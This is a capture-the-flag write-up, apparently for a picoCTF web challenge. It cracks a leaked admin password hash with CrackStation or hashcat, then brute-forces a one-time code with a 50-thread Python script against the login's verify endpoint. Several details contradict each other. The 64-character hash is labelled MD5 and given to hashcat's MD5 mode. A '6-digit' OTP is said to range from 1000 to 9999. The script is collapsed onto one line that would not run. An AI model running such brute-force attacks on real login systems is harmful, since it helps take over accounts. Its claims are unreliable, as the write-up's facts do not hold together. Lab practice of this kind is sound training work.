No FA

Published: March 20, 2026

Description

Seems like some data has been leaked! Can you get the flag?

Launch the challenge instance and open the web application.

The site appears to have a login protected by two-factor authentication (2FA/OTP).

Solution

  1. Step 1Crack the leaked MD5 password hash
    The challenge title hints that data has been leaked. The admin password is stored as an MD5 hash. Use CrackStation or hashcat to reverse it. The MD5 hash c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67 decodes to 'apple@123'.
    # Look up the hash at crackstation.net:
    # Hash: c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
    # Result: apple@123
    # Or with hashcat:
    echo 'c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67' > hash.txt
    hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
  2. Step 2Log in and reach the 2FA page
    Use the cracked password (apple@123) to log in. After login, the app presents a 6-digit OTP verification step. The OTP is in the range 1000–9999.
    curl -c cookie.jar -d 'username=admin&password=apple@123' http://<HOST>:<PORT_FROM_INSTANCE>/login
  3. Step 3Brute-force the OTP (1000–9999)
    The OTP has only 9000 possible values (1000–9999). Brute-force it with multithreaded requests until the correct code is accepted.
    python3 << 'EOF' import requests from concurrent.futures import ThreadPoolExecutor BASE = "http://<HOST>:<PORT_FROM_INSTANCE>" session = requests.Session() session.post(f"{BASE}/login", data={"username": "admin", "password": "apple@123"}) def try_otp(otp): r = session.post(f"{BASE}/verify", data={"otp": str(otp)}) if "picoCTF" in r.text or "Correct" in r.text: print(f"Correct OTP is: {otp}") print(r.text) return True return False with ThreadPoolExecutor(max_workers=50) as ex: futures = {ex.submit(try_otp, otp): otp for otp in range(1000, 10000)} for f in futures: if f.result(): ex.shutdown(wait=False, cancel_futures=True) break EOF

Flag

picoCTF{n0_f4_n0_pr0bl3m_...}

Leaked MD5 hash (c20fa1...) cracks to 'apple@123'. The 2FA OTP is in range 1000–9999 -- brute-force with 50 concurrent workers to find the correct OTP quickly.